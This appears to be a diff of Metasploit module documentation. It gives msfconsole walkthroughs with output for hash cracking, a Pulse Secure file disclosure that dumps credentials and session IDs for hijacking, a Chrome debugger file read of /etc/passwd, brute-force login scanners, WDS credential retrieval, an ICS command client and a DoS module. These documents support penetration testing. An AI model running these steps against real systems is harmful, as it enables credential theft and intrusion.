[*] Cracking Command: /usr/bin/hashcat --session=6lfDPvji --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1000 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l /tmp/jtrtmp20190531-32645-12pwixd
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1470 lm lm_password [notfound]D Incremental
|
||||
1471 lm lm2_password [notfound]D Incremental
|
||||
1472 nt lm2_pot_password password Wordlist
|
||||
1473 nt nt_password password Wordlist
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
resource (hashes_hashcat.rb)> creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
lm_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
|
||||
lm2_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
|
||||
lm2_pot_password e52cac67419fafe2fafe108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
|
||||
nt_password aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
|
||||
lm_password [notfound]D Password
|
||||
lm2_password [notfound]D Password
|
||||
lm_password PASSWORD Password
|
||||
lm2_password PASSWORD Password
|
||||
lm_password password Password
|
||||
lm2_password password Password
|
||||
lm2_pot_password password Password
|
||||
nt_password password Password
|
||||
```
|
||||
@@ -3,7 +3,7 @@
|
||||
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode Linux
|
||||
based password hashes, such as:
|
||||
|
||||
* `DES` based passwords
|
||||
* `DES` based passwords
|
||||
* `MD5` based passwords
|
||||
* `BSDi` based passwords
|
||||
* With `crypt` set to `true`:
|
||||
|
||||
@@ -52,7 +52,7 @@ msf auxiliary(client/iec104/iec104) > set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
msf auxiliary(client/iec104/iec104) > run
|
||||
|
||||
[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
|
||||
[+] 127.0.0.1:2404 - Received STARTDT_ACT
|
||||
[*] 127.0.0.1:2404 - Sending 104 command
|
||||
[+] 127.0.0.1:2404 - Parsing response: Interrogation command (C_IC_NA_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0000
|
||||
@@ -77,7 +77,7 @@ msf auxiliary(client/iec104/iec104) > run
|
||||
[+] 127.0.0.1:2404 - CauseTx: 0a (Termination Activation)
|
||||
[*] 127.0.0.1:2404 - operation ended
|
||||
[*] 127.0.0.1:2404 - Terminating Connection
|
||||
[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
|
||||
[+] 127.0.0.1:2404 - Received STOPDT_ACT
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(client/iec104/iec104) >
|
||||
```
|
||||
@@ -97,7 +97,7 @@ msf auxiliary(client/iec104/iec104) > set command_value 5
|
||||
command_value => 5
|
||||
msf auxiliary(client/iec104/iec104) > run
|
||||
|
||||
[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
|
||||
[+] 127.0.0.1:2404 - Received STARTDT_ACT
|
||||
[*] 127.0.0.1:2404 - Sending 104 command
|
||||
[+] 127.0.0.1:2404 - Parsing response: Double command (C_DC_NA_1)
|
||||
[+] 127.0.0.1:2404 - TX: 0002 RX: 0000
|
||||
@@ -114,7 +114,7 @@ msf auxiliary(client/iec104/iec104) > run
|
||||
[+] 127.0.0.1:2404 - IOA: 5 DCO: 0x05
|
||||
[*] 127.0.0.1:2404 - operation ended
|
||||
[*] 127.0.0.1:2404 - Terminating Connection
|
||||
[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
|
||||
[+] 127.0.0.1:2404 - Received STOPDT_ACT
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(client/iec104/iec104) >
|
||||
```
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Metasploit Framework before version 5.0.28
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install Metasploit 5.0.27 or earlier (or checkout before commit 5621d200ccf62e4a8f0dad80c1c74f4e0e52d86b)
|
||||
2. Start msfconsole with the target Metasploit instance and start any reverse_http/reverse_https listener
|
||||
3. Start this module and set RHOSTS and RPORT to the target listener address and port.
|
||||
4. Run the modulest <rhost>```
|
||||
7. `msfconsole` should use 99%+ CPU for a varying amount of time depending on the DOSTYPE option. You may need to kill the process manually.
|
||||
|
||||
## Options
|
||||
|
||||
**DOSTYPE**
|
||||
|
||||
GENTLE: *Current sessions will continue to work, but not future ones*
|
||||
A lack of input sanitation permits an attacker to submit a request that will be added to the resources and will be used as regex rule it is possible then to make a valid regex rule that captures all the new handler requests. The sessions that were established previously will continue to work.
|
||||
|
||||
SOFT: *No past or future sessions will work*
|
||||
A lack of input sanitation and lack of exception handling causes Metasploit to behave abnormally when looking an appropriate resource for the request, by submitting an invalid regex as a resource. This means that no request, current or future will get served an answer.
|
||||
|
||||
HARD: *ReDOS or Catastrophic Regex Backtracking*
|
||||
A lack of input sanitization on paths added as resources allows an attacker to execute a catastrophic regex backtracking operation causing a Denial of Service by CPU consumption.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 auxiliary(dos/http/metasploit_httphandler_dos) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] 127.0.0.1:8080 - Sending DoS packet...
|
||||
^C[-] Stopping running againest current target...
|
||||
[*] Control-C again to force quit all targets.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,46 @@
|
||||
# Chrome Debugger Arbitary File Read / Abitrary Web Request Auxiliary Module
|
||||
|
||||
This module takes advantage of misconfigured headless chrome sessions and either retrieves a specified file off the remote file system, or makes a web request from the remote machine.
|
||||
|
||||
## Headless Chrome Sessions
|
||||
|
||||
A vulnerable Headless Chrome session can be started with the following command:
|
||||
|
||||
```
|
||||
$ google-chrome --remote-debugging-port=9222 --headless --remote-debugging-address=0.0.0.0
|
||||
```
|
||||
|
||||
This will start a webserver running on port 9222 for all network interfaces.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Execute `auxiliary/gather/chrome_debugger`
|
||||
3. Execute `set RHOST $REMOTE_ADDRESS`
|
||||
4. Execute `set RPORT 9222`
|
||||
5. Execute either `set FILEPATH $FILE_PATH_ON_REMOTE` or `set URL $URL_FROM_REMOTE`
|
||||
6. Execute `run`
|
||||
|
||||
## Options
|
||||
|
||||
* FILEPATH - The file path on the remote you wish to retrieve
|
||||
* URL - A URL you wish to fetch the contents of from the remote machine
|
||||
|
||||
**Note:** One or the other must be set!
|
||||
|
||||
## Example Run
|
||||
|
||||
```
|
||||
[*] Attempting Connection to ws://192.168.20.168:9222/devtools/page/CF551031373306B35F961C6C0968DAEC
|
||||
[*] Opened connection
|
||||
[*] Attempting to load url file:///etc/passwd
|
||||
[*] Received Data
|
||||
[*] Sending request for data
|
||||
[*] Received Data
|
||||
[+] Retrieved resource
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Notes
|
||||
|
||||
This can be useful for retrieving cloud metadata in certain scenarios. Primarily this module targets developers.
|
||||
@@ -1,4 +1,4 @@
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
From the `bootparamd(8)` man page:
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
If you've worked with old Unix systems before, you've probably
|
||||
encountered NIS (Network Information Service). The most familiar way of
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
## Introduction
|
||||
|
||||
This module exploits a pre-auth directory traversal in the Pulse Secure
|
||||
VPN server to dump an arbitrary file. Dumped files are stored in loot.
|
||||
|
||||
If the `Automatic` action is set, plaintext and hashed credentials, as
|
||||
well as session IDs, will be dumped. Valid sessions can be hijacked by
|
||||
setting the `DSIG` browser cookie to a valid session ID.
|
||||
|
||||
For the `Manual` action, please specify a file to dump via the `FILE`
|
||||
option. `/etc/passwd` will be dumped by default. If the `PRINT` option is
|
||||
set, file contents will be printed to the screen, with any unprintable
|
||||
characters replaced by a period.
|
||||
|
||||
Please see related module exploit/linux/http/pulse_secure_cmd_exec for
|
||||
a post-auth exploit that can leverage the results from this module.
|
||||
|
||||
## Actions
|
||||
|
||||
```
|
||||
Name Description
|
||||
---- -----------
|
||||
Automatic Dump creds and sessions
|
||||
Manual Dump an arbitrary file (FILE option)
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**FILE**
|
||||
|
||||
Set this to the file you want to dump. The default is `/etc/passwd`.
|
||||
Valid only in manual mode.
|
||||
|
||||
**PRINT**
|
||||
|
||||
Whether to print file contents to the screen. Valid only in manual mode.
|
||||
|
||||
## Usage
|
||||
|
||||
Dumping creds and sessions in automatic mode:
|
||||
|
||||
```
|
||||
msf5 auxiliary(gather/pulse_secure_file_disclosure) > run
|
||||
[*] Running module against [redacted]
|
||||
|
||||
[*] Running in automatic mode
|
||||
[*] Dumping /data/runtime/mtmp/lmdb/dataa/data.mdb
|
||||
[+] /Users/wvu/.msf4/loot/20191029221840_default_[redacted]_PulseSecureVPN_273470.mdb
|
||||
[*] Dumping /data/runtime/mtmp/lmdb/randomVal/data.mdb
|
||||
[*] Parsing session IDs...
|
||||
[+] Session ID found: df502e6052d9002d8f02160af8bfd055
|
||||
[+] Session ID found: 249b470bd9bd1983f721ca950a74e61c
|
||||
[+] Session ID found: acbef5625
|
||||
[+] Session ID found: c145e683a
|
||||
[+] Session ID found: fc6c097dd
|
||||
[+] Session ID found: 249b470bd9bd1983f721ca950a74e61c
|
||||
[+] Session ID found: c145e683a17cfacb72a47eb8b2515c14
|
||||
[+] Session ID found: a7661751393e16fa253e97bd02dc2a4f
|
||||
[+] Session ID found: 7e78ab276afea3f00dfa41892c437156c699eff8
|
||||
[+] /Users/wvu/.msf4/loot/20191029221845_default_[redacted]_PulseSecureVPN_607925.mdb
|
||||
[*] Dumping /data/runtime/mtmp/system
|
||||
[+] /Users/wvu/.msf4/loot/20191029221851_default_[redacted]_PulseSecureVPN_530345.bin
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(gather/pulse_secure_file_disclosure) > loot
|
||||
|
||||
Loot
|
||||
====
|
||||
|
||||
host service type name content info path
|
||||
---- ------- ---- ---- ------- ---- ----
|
||||
[redacted] Pulse Secure VPN Arbitrary File Disclosure /data/runtime/mtmp/lmdb/dataa/data.mdb application/octet-stream Plaintext credentials /Users/wvu/.msf4/loot/20191029221840_default_[redacted]_PulseSecureVPN_273470.mdb
|
||||
[redacted] Pulse Secure VPN Arbitrary File Disclosure /data/runtime/mtmp/lmdb/randomVal/data.mdb application/octet-stream Session IDs /Users/wvu/.msf4/loot/20191029221845_default_[redacted]_PulseSecureVPN_607925.mdb
|
||||
[redacted] Pulse Secure VPN Arbitrary File Disclosure /data/runtime/mtmp/system application/octet-stream Hashed credentials /Users/wvu/.msf4/loot/20191029221851_default_[redacted]_PulseSecureVPN_530345.bin
|
||||
|
||||
msf5 auxiliary(gather/pulse_secure_file_disclosure) >
|
||||
```
|
||||
|
||||
Dumping default `/etc/passwd` in manual mode:
|
||||
|
||||
```
|
||||
msf5 auxiliary(gather/pulse_secure_file_disclosure) > set action Manual
|
||||
action => Manual
|
||||
msf5 auxiliary(gather/pulse_secure_file_disclosure) > run
|
||||
[*] Running module against [redacted]
|
||||
|
||||
[*] Running in manual mode
|
||||
[*] Dumping /etc/passwd
|
||||
root:x:0:0:root:/:/bin/bash
|
||||
nfast:x:0:0:nfast:/:/bin/bash
|
||||
bin:x:1:1:bin:/:
|
||||
nobody:x:99:99:Nobody:/:
|
||||
dns:x:98:98:DNS:/:
|
||||
term:x:97:97:Telnet/SSH:/:
|
||||
web80:x:96:96:Port 80 web:/:
|
||||
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
|
||||
postgres:x:102:102:PostgreSQL User:/:
|
||||
|
||||
[+] /Users/wvu/.msf4/loot/20191029222949_default_[redacted]_PulseSecureVPN_073170.bin
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(gather/pulse_secure_file_disclosure) >
|
||||
```
|
||||
@@ -1,4 +1,4 @@
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
This is going to be a quick rundown of how to use this module to
|
||||
retrieve the admin hash from a vulnerable QNAP device.
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
## Vulnerable Application
|
||||
|
||||
ACPP is an undocumented and proprietary Apple protocol found in Airport products which protects the credentials used to administer the device. This module attempts exploit a weak encryption mechanism (fixed XOR key) by brute forcing the password via a dictionary attack or specific password.
|
||||
|
||||
More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/acpp/login)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use auxiliary/scanner/acpp/login`
|
||||
3. Do: `set RHOSTS [ip]`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Apple AirPort Extreme 802.11g
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/acpp/login
|
||||
msf auxiliary(scanner/acpp/login) > show options
|
||||
msf auxiliary(scanner/acpp/login) > set RHOSTS 1.1.1.1
|
||||
RHOSTS => 1.1.1.1
|
||||
msf auxiliary(scanner/acpp/login) > set PASSWORD myPassword
|
||||
PASSWORD => myPassword
|
||||
msf auxiliary(scanner/acpp/login) > run
|
||||
[*] 1.1.1.1:5009 - 1.1.1.1:5009 - Starting ACPP login sweep
|
||||
[*] 1.1.1.1:5009 - 1.1.1.1:5009 - ACPP Login Successful: myPassword
|
||||
```
|
||||
@@ -0,0 +1,45 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Apple Filing Protocol (AFP) is Apple's file sharing protocol similar to SMB, and NFS. This module attempts to brute force authentication credentials for AFP.
|
||||
|
||||
References:
|
||||
|
||||
* [AFP_Reference](https://developer.apple.com/library/mac/documentation/Networking/Reference/AFP_Reference/Reference/reference.html)
|
||||
* [AFP_Security](https://developer.apple.com/library/mac/documentation/networking/conceptual/afp/AFPSecurity/AFPSecurity.html)
|
||||
|
||||
### Kali 2019.3 Install Instructions
|
||||
|
||||
1. `sudo apt-get install netatalk`
|
||||
2. edit `/etc/default/netatalk` and add the following lines:
|
||||
|
||||
```
|
||||
ATALKD_RUN=no
|
||||
PAPD_RUN=no
|
||||
CNID_METAD_RUN=yes
|
||||
AFPD_RUN=yes
|
||||
TIMELORD_RUN=no
|
||||
A2BOOT_RUN=no
|
||||
```
|
||||
|
||||
3. Restart the service: `sudo /etc/init.d/netatalk restart`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use modules/auxiliary/scanner/afp/afp_login`
|
||||
3. Do: `set RHOSTS [ip]`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### A run on Kali Linux 2019.3 and Netatalk 3.1.12
|
||||
|
||||
```
|
||||
msf > use modules/auxiliary/scanner/afp/afp_login
|
||||
msf auxiliary(scanner/afp/afp_login) > set USERNAME tuser
|
||||
msf auxiliary(scanner/afp/afp_login) > set PASSWORD myPassword
|
||||
msf auxiliary(scanner/afp/afp_login) > set RHOST 172.17.0.2
|
||||
msf auxiliary(scanner/afp/afp_login) > run
|
||||
[*] 172.17.0.2:548 - Scanning IP: 172.17.0.2
|
||||
[*] 172.17.0.2:548 - Login Successful: tuser:myPassword
|
||||
```
|
||||
@@ -3,10 +3,11 @@
|
||||
Apple Filing Protocol (AFP) is Apple's file sharing protocol similar to SMB, and NFS. This module will gather information about the service.
|
||||
Netatalk is a Linux implementation of AFP.
|
||||
|
||||
The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wordpress.com](https://missingreadme.wordpress.com/2010/05/08/how-to-set-up-afp-filesharing-on-ubuntu/):
|
||||
|
||||
The following was done on Ubuntu 16.04, and is largely based on [missingreadme.wordpress.com](https://missingreadme.wordpress.com/2010/05/08/how-to-set-up-afp-filesharing-on-ubuntu/):
|
||||
|
||||
1. `sudo apt-get install netatalk`
|
||||
2. edit `/etc/default/netatalk` and add the following lines:
|
||||
|
||||
```
|
||||
ATALKD_RUN=no
|
||||
PAPD_RUN=no
|
||||
@@ -15,6 +16,7 @@ The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wo
|
||||
TIMELORD_RUN=no
|
||||
A2BOOT_RUN=no
|
||||
```
|
||||
|
||||
3. Restart the service: `sudo /etc/init.d/netatalk restart`
|
||||
|
||||
## Verification Steps
|
||||
@@ -22,40 +24,41 @@ The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wo
|
||||
1. Install and configure afp (or netatalk in a Linux environment)
|
||||
2. Start msfconsole
|
||||
3. Do: `auxiliary/scanner/afp/afp_server_info`
|
||||
4. Do: `run`
|
||||
4. Do: `set RHOSTS [ip]`
|
||||
5. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
A run against the configuration from these docs
|
||||
### Ubuntu 16.04 with Netatalk 2.2.5
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info
|
||||
msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info
|
||||
msf5 auxiliary(scanner/afp/afp_server_info) > set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
msf5 auxiliary(scanner/afp/afp_server_info) > run
|
||||
|
||||
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1 Scanning...
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548:548 AFP:
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Name: ubuntu
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Flags:
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Super Client: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UUIDs: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UTF8 Server Name: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Open Directory: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Reconnect: false
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Notifications: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * TCP/IP: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Signature: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Messages: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Saving Prohibited: false
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Changing: false
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Copy File: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Machine Type: Netatalk2.2.5
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Name: ubuntu
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Flags:
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Super Client: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UUIDs: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UTF8 Server Name: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Open Directory: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Reconnect: false
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Notifications: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * TCP/IP: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Signature: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Messages: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Saving Prohibited: false
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Changing: false
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Copy File: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Machine Type: Netatalk2.2.5
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UAMs: Cleartxt Passwrd, DHX2
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Signature: 975394e16633312406281959287fcbd9
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Network Address:
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * 1.1.1.1
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Network Address:
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * 1.1.1.1
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UTF8 Server Name: ubuntu
|
||||
[*] 1.1.1.1:548 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to authenticate against a DB2 instance using username and password combinations indicated by the `USER_FILE`, `PASS_FILE`, and `USERPASS_FILE` options.
|
||||
|
||||
More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/db2/db2_auth)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use auxiliary/scanner/db2/db2_auth`
|
||||
3. Do: `set RHOSTS [ip]`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### A run on Kali Linux 2019.3 and DB2 11.5.0.0a
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/db2/db2_auth
|
||||
msf auxiliary/scanner/db2/db2_auth) > show options
|
||||
msf auxiliary/scanner/db2/db2_auth) > set USERNAME db2inst1
|
||||
msf auxiliary/scanner/db2/db2_auth) > set PASSWORD db2pass
|
||||
msf auxiliary(scanner/db2/db2_auth) > set DATABASE testdb
|
||||
msf auxiliary/scanner/db2/db2_auth) > set RHOST 172.17.0.2
|
||||
msf auxiliary/scanner/db2/db2_auth) > run
|
||||
[-] 172.17.0.2:50000 - 172.17.0.2:50000 - LOGIN FAILED: db2inst1:db2inst1@testdb (Incorrect: )
|
||||
[-] 172.17.0.2:50000 - 172.17.0.2:50000 - LOGIN FAILED: db2inst1:dasusr1@testdb (Incorrect: )
|
||||
[-] 172.17.0.2:50000 - 172.17.0.2:50000 - LOGIN FAILED: db2inst1:db2fenc1@testdb (Incorrect: )
|
||||
[*] 172.17.0.2:50000 - Login Successful: db2inst1:db2pass
|
||||
[*] 172.17.0.2:50000 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,27 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module queries a DB2 instance information.
|
||||
|
||||
More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/db2/db2_version)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use auxiliary/scanner/db2/db2_version`
|
||||
3. Do: `set RHOSTS [ip]`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### A run on Kali Linux 2019.3 and DB2 11.5.0.0a
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/db2/db2_version
|
||||
msf auxiliary(scanner/db2/db2_version) > show options
|
||||
msf auxiliary(scanner/db2/db2_version) > set DATABASE testdb
|
||||
msf auxiliary(scanner/db2/db2_version) > set RHOSTS 172.17.0.2
|
||||
msf auxiliary(scanner/db2/db2_version) > run
|
||||
[+] 172.17.0.2:50000 - 172.17.0.2:50000 DB2 - Platform: QDB2/LINUXX8664, Version: SQL11050, Instance: db2inst1, Plain-Authentication: OK
|
||||
[*] 172.17.0.2:50000 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,41 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module retrieves the client unattend file from Windows Deployment Services RPC service and parses out the stored credentials. Tested against Windows 2008 R2 x64 and Windows 2003 x86.
|
||||
|
||||
More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/dcerpc/windows_deployment_services) and pull request [PR #1420](https://github.com/rapid7/metasploit-framework/pull/1420).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use modules/auxiliary/scanner/dcerpc/windows_deployment_services`
|
||||
3. set RHOST [ip]
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### A run on Windows Server 2008 R2 X64
|
||||
|
||||
```
|
||||
msf > use modules/auxiliary/scanner/dcerpc/windows_deployment_services
|
||||
msf auxiliary(scanner/dcerpc/windows_deployment_services) > show options
|
||||
msf auxiliary(scanner/dcerpc/windows_deployment_services) > set RHOST 192.168.5.1
|
||||
msf auxiliary(scanner/dcerpc/windows_deployment_services) > run
|
||||
|
||||
[*] Binding to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040] ...
|
||||
[+] Bound to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040]
|
||||
[*] Sending X64 Client Unattend request ...
|
||||
[*] Raw version of X64 saved as: C:/Documents and Settings/user/.msf5/loot/20121213104745_default_192.168.5.1_windows.unattend_399005.txt
|
||||
[+] Retrieved wds credentials for X64
|
||||
[*] Sending X86 Client Unattend request ...
|
||||
[*] Sending IA64 Client Unattend request ...
|
||||
|
||||
Windows Deployment Services
|
||||
===========================
|
||||
|
||||
Architecture Type Domain Username Password
|
||||
------------ ---- ------ -------- --------
|
||||
X64 wds Fabrikam.com username my_password
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,30 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Detect UDP services that reply to empty probes.
|
||||
|
||||
More information can be found on the [Rapid7 blog page](https://blog.rapid7.com/2014/10/03/adventures-in-empty-udp-scanning/)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use auxiliary/scanner/discovery/empty_udp`
|
||||
3. Do: `set RHOSTS [ip]`
|
||||
4. Do: `set RPORT [port]`
|
||||
5. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### A run against Windows XP (X64) using Kali Linux 2019.3
|
||||
|
||||
```
|
||||
msf auxiliary(scanner/dns/dns_amp) > use auxiliary/scanner/discovery/empty_udp
|
||||
msf auxiliary(scanner/discovery/empty_udp) > set RHOSTS 1.1.1.1
|
||||
RHOSTS => 1.1.1.1
|
||||
msf auxiliary(scanner/discovery/empty_udp) > set RPORT 135
|
||||
RPORT => 135
|
||||
msf auxiliary(scanner/discovery/empty_udp) > run
|
||||
[*] Sending 1032 empty probes to 1.1.1.1->1.1.1.1 (1 hosts)
|
||||
[+] Received #52 from #:135:#1095/udp
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,26 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module implements the DLSw information disclosure retrieval. There is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains that allows an unauthenticated remote attacker to retrieve the partial contents of packets traversing a Cisco router with DLSw configured and active.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use modules/auxiliary/scanner/dlsw/dlsw_leak_capture`
|
||||
3. Do: `set RHOSTS [ip]`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### IOS version 12.4(8) and Kali Linux 2019.3
|
||||
|
||||
```
|
||||
msf > use modules/auxiliary/scanner/dlsw/dlsw_leak_capture
|
||||
msf auxiliary(scanner/dlsw/dlsw_leak_capture) > set RHOSTS 192.168.0.1
|
||||
RHOSTS => 192.168.0.1
|
||||
msf auxiliary(scanner/dlsw/dlsw_leak_capture) > run
|
||||
[*] 192.168.0.1:2067 - Checking for DLSw information disclosure (CVE-2014-7992)
|
||||
[+] 192.168.0.1:2067 - Vulnerable to DLSw information disclosure; leaked 72 bytes
|
||||
[*] 192.168.0.1:2067 - DLSw leaked data stored in /root/.msf4/loot/20191124231804_default_192.168.0.1_dlsw.packet.cont_518857.bin
|
||||
[*] 192.168.0.1:2067 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,33 @@
|
||||
## Vulnerable Application
|
||||
|
||||
